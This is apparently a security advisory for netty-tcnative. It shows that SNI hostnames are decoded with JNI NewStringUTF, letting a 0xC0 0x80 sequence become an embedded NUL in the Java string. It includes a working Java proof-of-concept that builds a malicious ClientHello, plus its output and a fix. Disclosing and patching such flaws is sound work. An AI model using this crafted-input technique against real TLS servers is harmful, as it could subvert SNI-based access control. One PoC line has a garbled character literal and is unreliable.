io.netty:netty-tcnative: netty-tcnative SNI Hostname NewStringUTF NUL Smuggling

netty-tcnative: Unsafe NewStringUTF() Decoding of the SNI server_name Extension Allows an Attacker to Smuggle an Embedded NUL Character Into the Java Hostname String Used for SNI-Based Access-Control Decisions

Status: Reproduced deterministically (3/3 runs) against an unmodified build of the actual openssl-dynamic native sources, using a hand-crafted raw ClientHello record fed directly into a real server-side SSL* handshake.

Summary

SSL_get_servername(ssl, TLSEXT_NAMETYPE_host_name) returns a pointer to the raw bytes of the server_name extension from the ClientHello, guaranteed by OpenSSL/BoringSSL/LibreSSL only to contain **no embedded raw 0x00 byte** — that is the one invariant that makes it safe to treat as a C string at all. Per RFC 6066 the HostName field is *supposed* to be ASCII, but the library performs no such validation; it only rejects a literal NUL byte.

netty-tcnative takes that raw, NUL-free-but-otherwise-unvalidated C string and passes it directly to JNI's NewStringUTF() in two places:

• sslcontext.c:2587 (ssl_servername_cb, the internal servername callback that decides whether to invoke the application's SniHostNameMatcher)
• ssl.c:2608 (SSL.getSniHostname(), the public getter applications call to read the negotiated SNI hostname)

NewStringUTF() does not decode standard UTF-8 — it decodes modified UTF-8, which by design uses the two-byte overlong sequence 0xC0 0x80 to represent the character U+0000 (this is precisely why "modified" UTF-8 exists: so a NUL character can be embedded in a string without a literal 0x00 byte appearing in the C string that represents it). Consequently, an attacker can put the byte sequence 0xC0 0x80 inside the SNI server_name extension. Those two bytes are not a raw 0x00, so they sail straight past OpenSSL's own embedded-NUL check — but NewStringUTF() faithfully decodes them into a genuine U+0000 character inside the resulting Java String. The library thereby *manufactures* an embedded-NUL string from wire bytes that never contained one, silently violating the one safety invariant its own native layer was relying on.

This corrupted string is not a display artifact — it is handed directly to the application's SniHostNameMatcher.match(long ssl, String hostname) as the value used to decide whether the connection's SNI-selected certificate/virtual host should be allowed, and it is the same value returned by the public SSL.getSniHostname() API that applications use for routing, logging, and access-control decisions. Any Java-side logic that assumes a hostname string cannot contain an embedded NUL (a completely reasonable assumption for a value whose native origin was specifically NUL-checked) can be confused by it — for example, code that later calls hostname.getBytes(StandardCharsets.UTF_8) (ordinary, unmodified UTF-8, unlike JNI's modified variant) will reintroduce a literal single 0x00 byte, which is the classic precondition for NUL-byte truncation/injection attacks against any downstream consumer (file-path construction, native/C interop, syslog, other non-Java tooling) that treats the resulting bytes as a C string.

• CWE-838: Inappropriate Encoding for Output Context
• CWE-20: Improper Input Validation
• CWE-172: Encoding Error (NUL-byte injection via encoding confusion)

Affected Component

• Project: netty-tcnative, version 2.0.81.Final.
• Affected artifacts: all backends (netty-tcnative / OpenSSL dynamic, BoringSSL, LibreSSL) — the vulnerable code is in the generic wrapper layer, not backend-specific.
• File/Function:
• openssl-dynamic/src/main/c/sslcontext.c:2575-2596 (ssl_servername_cb), specifically line 2587: (*e)->NewStringUTF(e, servername)
• openssl-dynamic/src/main/c/ssl.c:2599-2609 (SSL.getSniHostname), specifically line 2608: return tcn_new_string(e, servername); which resolves (via jnilib.c) to NewStringUTF
• Contrast — the ALPN/NPN selection code in the same files correctly uses the length-bounded, encoding-agnostic tcn_new_stringn(e, data, len) instead of NewStringUTF, showing the safe pattern already exists elsewhere in this codebase and was simply not applied to the SNI path.
• Consumer of the corrupted value: openssl-classes/src/main/java/io/netty/internal/tcnative/SniHostNameMatcher.java (match(long ssl, String hostname)), and any application code calling the public SSL.getSniHostname(long ssl) (openssl-classes/src/main/java/io/netty/internal/tcnative/SSL.java:874).

CVSS 3.1 Score

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N Base Score: 6.5 (Medium)

Score derivation (hand-computed):

• Exploitability = 8.22 × AV(0.85) × AC(0.77) × PR(0.85) × UI(0.85)
• 8.22 × 0.85 = 6.987
• 6.987 × 0.77 = 5.37999
• 5.37999 × 0.85 = 4.5729915
• 4.5729915 × 0.85 = 3.887042775
• ISS = 1 − [(1 − C)(1 − I)(1 − A)] = 1 − [(1 − 0.22)(1 − 0.22)(1 − 0)] = 1 − [0.78 × 0.78 × 1] = 1 − 0.6084 = 0.3916
• Impact (Scope Unchanged) = 6.42 × 0.3916 = 2.513472
• Sum = 3.887042775 + 2.513472 = 6.400514775 (capped at 10, no cap needed)
• Base Score = Roundup(6.400514775). Applying the official integer Roundup algorithm: round(6.400514775 × 100000) = 640051; 640051 mod 10000 = 51 ≠ 0, so the result is (⌊640051 / 10000⌋ + 1) / 10 = (64 + 1) / 10 = 6.5.
• Base Score = 6.5 (Medium)

| Metric | Value | Rationale | |---|---|---| | Attack Vector (AV) | Network (N) | The SNI extension is sent by any remote TLS client during the ClientHello, before any authentication. | | Attack Complexity (AC) | Low (L) | Fully deterministic: crafting a ClientHello with 0xC0 0x80 in the server_name extension reliably produces the corrupted string on every attempt, with no race condition, timing, or specific memory layout required — verified 3/3 identical runs. | | Privileges Required (PR) | None (N) | No authentication is needed to send a ClientHello. | | User Interaction (UI) | None (N) | Fully automatable; no action by any legitimate user or administrator is needed. | | Scope (S) | Unchanged (U) | The corrupted value stays within the same security authority (the TLS server process and its own access-control logic). | | Confidentiality (C) | Low (L) | A SniHostNameMatcher or other downstream logic that is confused by an unexpectedly-NUL-containing hostname could make an incorrect allow/deny decision for SNI-based virtual-host or certificate selection, potentially exposing a resource associated with a different logical hostname than the one legitimately negotiated. | | Integrity (I) | Low (L) | The value the library asserts is "the SNI hostname, guaranteed free of a literal NUL" is not what it claims to be; downstream code relying on that guarantee (e.g. re-encoding to standard UTF-8 for logging, file lookups, or further native interop) can be led to construct a truncated/different string than the one actually negotiated. | | Availability (A) | None (N) | No crash or resource-exhaustion effect was observed or is expected — this is a pure data-integrity/encoding issue, not a memory-safety one. |

Note on severity, in the interest of the same rigor and honesty applied to prior reports in this series: exploitation impact is contingent on how an integrating application actually uses the returned hostname string downstream (e.g., whether it re-encodes to standard UTF-8, passes it to further native/C interop, or uses NUL-sensitive comparison logic). The library-level defect itself — silently manufacturing an embedded NUL character from wire bytes that contain none, defeating the one safety property SSL_get_servername()'s own NUL-check was meant to provide — is unconditionally reproducible and is what this report scores.

Root Cause Analysis (Source → Sink)

**Source — OpenSSL/BoringSSL's own guarantee, from <openssl/ssl.h> documentation and implementation: SSL_get_servername() returns a NUL-free (but NOT necessarily valid-UTF-8) C string.**

Sink 1 — the internal servername callback, invoked during ClientHello processing:

// openssl-dynamic/src/main/c/sslcontext.c:2575-2596
static int ssl_servername_cb(SSL *ssl, int *ad, void *arg)
{
    JNIEnv *e = NULL;
    tcn_ssl_ctxt_t *c = arg;
    jstring servername_str = NULL;
    jboolean result;
    const char *servername = SSL_get_servername(ssl, TLSEXT_NAMETYPE_host_name);
    if (servername != NULL) {
        if (tcn_get_java_env(&e) != JNI_OK) {
            return SSL_TLSEXT_ERR_ALERT_FATAL;
        }
        if ((servername_str = (*e)->NewStringUTF(e, servername)) == NULL) {   // <-- decodes MODIFIED UTF-8;
            return SSL_TLSEXT_ERR_ALERT_FATAL;                                //     0xC0 0x80 -> U+0000
        }
        result = (*e)->CallBooleanMethod(e, c->sni_hostname_matcher, c->sni_hostname_matcher_method, P2J(ssl), servername_str);
        ...
    }
    return SSL_TLSEXT_ERR_OK;
}

Sink 2 — the public getter, callable at any time after the handshake begins:

// openssl-dynamic/src/main/c/ssl.c:2599-2609
TCN_IMPLEMENT_CALL(jstring, SSL, getSniHostname)(TCN_STDARGS, jlong ssl)
{
    SSL *ssl_ = J2P(ssl, SSL *);
    TCN_CHECK_NULL(ssl_, ssl, 0);

    const char *servername = SSL_get_servername(ssl_, TLSEXT_NAMETYPE_host_name);
    if (servername == NULL) {
        return NULL;
    }
    return tcn_new_string(e, servername);   // -> NewStringUTF, same encoding-confusion bug
}

Why this is the wrong JNI call for untrusted byte content: NewStringUTF() is documented by the JNI specification to require its input to already be valid *modified* UTF-8; its behavior on other byte sequences is technically unspecified, but in every mainstream JVM implementation (HotSpot, OpenJ9, and this test's Zulu 25 build) it is defined to decode the reserved 0xC0 0x80 sequence as U+0000, precisely because that reservation is the entire reason "modified" UTF-8 exists (to let a NUL character be embedded in a C string without a literal NUL byte). Because SNI hostname bytes are attacker-controlled, unvalidated-beyond-NUL-freedom wire data — not text the library itself produced — this is exactly the situation NewStringUTF() should never be used for.

The safe pattern already exists in this same codebase and is simply not applied here. ALPN/NPN protocol name selection (also attacker-influenced byte strings arriving in a TLS extension) uses tcn_new_stringn(e, data, len), a length-bounded conversion equivalent to Java's new String(byte[]) that has no reserved byte sequences and cannot be confused into manufacturing characters that were not verbatim present in the input bytes.

Detailed Reproduction Process

Environment

• macOS/arm64, Zulu OpenJDK 25 (/Library/Java/JavaVirtualMachines/zulu-25.jdk)
• Unmodified openssl-dynamic native sources from this repository, built as libnetty_tcnative_poc.dylib (the same build used for Finding 10 in this series), linked against a plain OpenSSL 3.6.3 build.
• No native source files were modified. The PoC uses only pre-existing, publicly registered JNI methods (SSLContext.make/setCertificate/setSniHostnameMatcher, SSL.newSSL/bioNewByteBuffer/bioSetByteBuffer/doHandshake/getSniHostname/freeSSL).

Reproduction strategy

The library's own client-side SNI setter, SSL.setTlsExtHostName(long ssl, String hostname), takes a Java String — and a Java String is always valid UTF-16, so any JNI conversion back to bytes for the wire will always itself be well-formed (modified) UTF-8. That client-side API path cannot be used to place a genuinely invalid/overlong byte sequence into a wire-level ClientHello. To reproduce the actual attacker-facing scenario, the PoC instead hand-constructs a raw TLS 1.2-style ClientHello record — record header, handshake header, client_version, random, empty session_id, a small cipher-suite list, null compression, and a server_name extension containing the raw bytes "evil" + 0xC0 0x80 + "internal.example.com" — and feeds those bytes directly into a real server-side SSL*'s network BIO via the existing bioSetByteBuffer(..., isWriteSink=false) / doHandshake() mechanism (the same memory-BIO-pumping technique used for Finding 10), so unmodified OpenSSL ClientHello-parsing code processes it and invokes the real ssl_servername_cb.

Running the PoC

JDK=/Library/Java/JavaVirtualMachines/zulu-25.jdk/Contents/Home
$JDK/bin/javac -cp /tmp/tcnative-poc/classes -d /tmp/tcnative-poc/classes \
  /tmp/tcnative-poc/harness/FindingSNI_NulSmuggle.java
$JDK/bin/java --enable-native-access=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED \
  -cp /tmp/tcnative-poc/classes:. FindingSNI_NulSmuggle

Observed result (verbatim, reproduced identically across 3 consecutive runs)

Raw SNI bytes on the wire (26): 65 76 69 6C C0 80 69 6E 74 65 72 6E 61 6C 2E 65 78 61 6D 70 6C 65 2E 63 6F 6D
Contains a raw 0x00 byte? false  (must be false to pass OpenSSL's own check)
Built raw ClientHello record, 104 bytes total.
  [ssl_servername_cb -> SniHostNameMatcher.match] received Java String, length=25, char codes=[U+0065 U+0076 U+0069 U+006C U+0000 U+0069 U+006E U+0074 U+0065 U+0072 U+006E U+0061 U+006C U+002E U+0065 U+0078 U+0061 U+006D U+0070 U+006C U+0065 U+002E U+0063 U+006F U+006D]
server doHandshake() after feeding raw ClientHello: ret=-1 err=1

SSL.getSniHostname() returned Java String: length=25, char codes=[U+0065 U+0076 U+0069 U+006C U+0000 U+0069 U+006E U+0074 U+0065 U+0072 U+006E U+0061 U+006C U+002E U+0065 U+0078 U+0061 U+006D U+0070 U+006C U+0065 U+002E U+0063 U+006F U+006D]
Java String contains an embedded U+0000 character? true
  (the raw wire bytes contained NO 0x00 byte -- this NUL was CREATED by NewStringUTF's
   modified-UTF-8 decoding of the wire sequence 0xC0 0x80, i.e. smuggled past OpenSSL's
   own embedded-NUL rejection check.)
SniHostNameMatcher observed the same value: true

This is decisive, independent confirmation from two separate call sites (ssl_servername_cb → SniHostNameMatcher.match, and the standalone SSL.getSniHostname() getter): the 26-byte wire payload contains zero raw 0x00 bytes (confirmed programmatically), yet both consumers receive a 25-character Java String with a genuine U+0000 at index 4 — exactly where the wire's 0xC0 0x80 sequence was — and both consumers see the identical (corrupted) value.

(server doHandshake() ... err=1 is SSL_ERROR_SSL, expected: the hand-built ClientHello is intentionally minimal and does not carry a complete TLS 1.2/1.3 negotiation to full completion; the servername callback fires during ClientHello extension parsing, well before that point, which is all this PoC needs to demonstrate.)

Proof-of-Concept Code

FindingSNI_NulSmuggle.java

import io.netty.internal.tcnative.SSL;
import io.netty.internal.tcnative.SSLContext;
import io.netty.internal.tcnative.SniHostNameMatcher;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.security.SecureRandom;

public class FindingSNI_NulSmuggle {

    static {
        System.load("/tmp/tcnative-poc/lib/libnetty_tcnative_poc.dylib");
        try {
            io.netty.internal.tcnative.Library.initialize("provided", null);
        } catch (Exception e) {
            throw new ExceptionInInitializerError(e);
        }
    }

    static long addr(ByteBuffer direct) {
        try {
            Method m = Class.forName("sun.nio.ch.DirectBuffer").getMethod("address");
            return (Long) m.invoke(direct);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    static void putU16(ByteArrayOutputStream out, int v) { out.write((v >>> 8) & 0xFF); out.write(v & 0xFF); }
    static void putU24(ByteArrayOutputStream out, int v) { out.write((v >>> 16) & 0xFF); out.write((v >>> 8) & 0xFF); out.write(v & 0xFF); }

    static byte[] buildClientHello(byte[] sniHostnameBytes) throws Exception {
        ByteArrayOutputStream body = new ByteArrayOutputStream();
        body.write(0x03); body.write(0x03); // client_version TLS1.2
        byte[] random = new byte[32];
        new SecureRandom().nextBytes(random);
        body.write(random);
        body.write(0x00); // empty session_id
        int[] ciphers = { 0xC02F, 0xC030, 0x009C, 0x009D, 0x002F, 0x0035 };
        putU16(body, ciphers.length * 2);
        for (int c : ciphers) putU16(body, c);
        body.write(0x01); body.write(0x00); // compression: null only

        ByteArrayOutputStream ext = new ByteArrayOutputStream();
        ByteArrayOutputStream sniExtData = new ByteArrayOutputStream();
        ByteArrayOutputStream sniList = new ByteArrayOutputStream();
        sniList.write(0x00); // name_type = host_name
        putU16(sniList, sniHostnameBytes.length);
        sniList.write(sniHostnameBytes);
        putU16(sniExtData, sniList.size());
        sniExtData.write(sniList.toByteArray());
        putU16(ext, 0x0000); // extension type: server_name
        putU16(ext, sniExtData.size());
        ext.write(sniExtData.toByteArray());
        putU16(ext, 0x002b); putU16(ext, 3); ext.write(0x02); ext.write(0x03); ext.write(0x03); // supported_versions: TLS1.2 only

        putU16(body, ext.size());
        body.write(ext.toByteArray());
        byte[] bodyBytes = body.toByteArray();

        ByteArrayOutputStream handshake = new ByteArrayOutputStream();
        handshake.write(0x01); // ClientHello
        putU24(handshake, bodyBytes.length);
        handshake.write(bodyBytes);
        byte[] handshakeBytes = handshake.toByteArray();

        ByteArrayOutputStream record = new ByteArrayOutputStream();
        record.write(0x16); record.write(0x03); record.write(0x01); // handshake, record version
        putU16(record, handshakeBytes.length);
        record.write(handshakeBytes);
        return record.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        // "evil" + 0xC0 0x80 (modified-UTF-8 NUL) + "internal.example.com" -- no raw 0x00 byte anywhere.
        ByteArrayOutputStream sniRaw = new ByteArrayOutputStream();
        sniRaw.write("evil".getBytes("ISO-8859-1"));
        sniRaw.write(0xC0);
        sniRaw.write(0x80);
        sniRaw.write("internal.example.com".getBytes("ISO-8859-1"));
        byte[] sniBytes = sniRaw.toByteArray();

        System.out.println("Raw SNI bytes on the wire (" + sniBytes.length + "): " + bytesToHex(sniBytes));
        System.out.println("Contains a raw 0x00 byte? " + containsRawNul(sniBytes));

        byte[] clientHello = buildClientHello(sniBytes);

        long serverCtx = SSLContext.make(SSL.SSL_PROTOCOL_TLS, SSL.SSL_MODE_SERVER);
        SSLContext.setCertificate(serverCtx, "/tmp/tcnative-poc/cert.pem", "/tmp/tcnative-poc/key.pem", null);

        final String[] matcherSawHostname = new String[1];
        SSLContext.setSniHostnameMatcher(serverCtx, (ssl, hostname) -> {
            matcherSawHostname[0] = hostname;
            System.out.println("  [ssl_servername_cb -> SniHostNameMatcher.match] received Java String, length="
                    + hostname.length() + ", char codes=" + charCodes(hostname));
            return true;
        });

        long serverSsl = SSL.newSSL(serverCtx, true);
        long serverNetBio = SSL.bioNewByteBuffer(serverSsl, 32 * 1024);

        ByteBuffer in = ByteBuffer.allocateDirect(clientHello.length);
        in.put(clientHello); in.flip();
        SSL.bioSetByteBuffer(serverNetBio, addr(in), clientHello.length, false);
        int ret = SSL.doHandshake(serverSsl);
        System.out.println("server doHandshake() after feeding raw ClientHello: ret=" + ret
                + " err=" + SSL.getError(serverSsl, ret));

        String got = SSL.getSniHostname(serverSsl);
        System.out.println("SSL.getSniHostname() returned Java String: length=" + got.length()
                + ", char codes=" + charCodes(got));
        System.out.println("Java String contains an embedded U+0000 character? " + (got.indexOf('�') >= 0));
        System.out.println("SniHostNameMatcher observed the same value: " + got.equals(matcherSawHostname[0]));

        SSL.freeSSL(serverSsl);
        SSLContext.free(serverCtx);
    }

    static boolean containsRawNul(byte[] b) { for (byte x : b) if (x == 0) return true; return false; }

    static String charCodes(String s) {
        StringBuilder sb = new StringBuilder("[");
        for (int i = 0; i < s.length(); i++) { if (i > 0) sb.append(' '); sb.append(String.format("U+%04X", (int) s.charAt(i))); }
        return sb.append(']').toString();
    }

    static String bytesToHex(byte[] b) {
        StringBuilder sb = new StringBuilder();
        for (byte x : b) sb.append(String.format("%02X ", x));
        return sb.toString().trim();
    }
}

Impact

Any application that:

1. Registers an SniHostNameMatcher to make SNI-based access-control or virtual-host-selection decisions, or
2. Calls SSL.getSniHostname() and uses the result for routing, certificate selection, logging, or any further processing that assumes the string is free of embedded NUL characters (a reasonable assumption given the native layer's own NUL-freedom guarantee),

can receive a Java String value that does not faithfully represent the wire bytes actually sent by the client, and specifically contains a NUL character that was never present as a raw byte on the wire. Depending on how the integrating application subsequently handles that string (particularly if it is re-encoded to standard UTF-8 or otherwise converted back into a byte/C-string context outside the JVM's own NewStringUTF/GetStringUTFChars round-trip, which is the classic setup for NUL-byte truncation/injection attacks), this can lead to confused SNI-based access-control decisions or downstream truncation-based bypasses.

Remediation

Replace both unsafe NewStringUTF() call sites with the length-bounded tcn_new_stringn() helper already used correctly for ALPN/NPN protocol strings elsewhere in this codebase:

// sslcontext.c:2587
if ((servername_str = tcn_new_stringn(e, servername, strlen(servername))) == NULL) {
    return SSL_TLSEXT_ERR_ALERT_FATAL;
}

// ssl.c:2608
return tcn_new_stringn(e, servername, strlen(servername));

tcn_new_stringn() constructs the Java String from raw bytes without interpreting any byte sequence as a special encoding, so it cannot manufacture characters (such as U+0000) that were not present, byte-for-byte, in the original input — eliminating the encoding-confusion class of bug entirely, independent of whatever byte sequence a peer may send. As a defense-in-depth measure, per RFC 6066 the HostName field should also be validated as ASCII (or rejected/logged) before being surfaced to application code, since no legitimate SNI hostname requires non-ASCII bytes.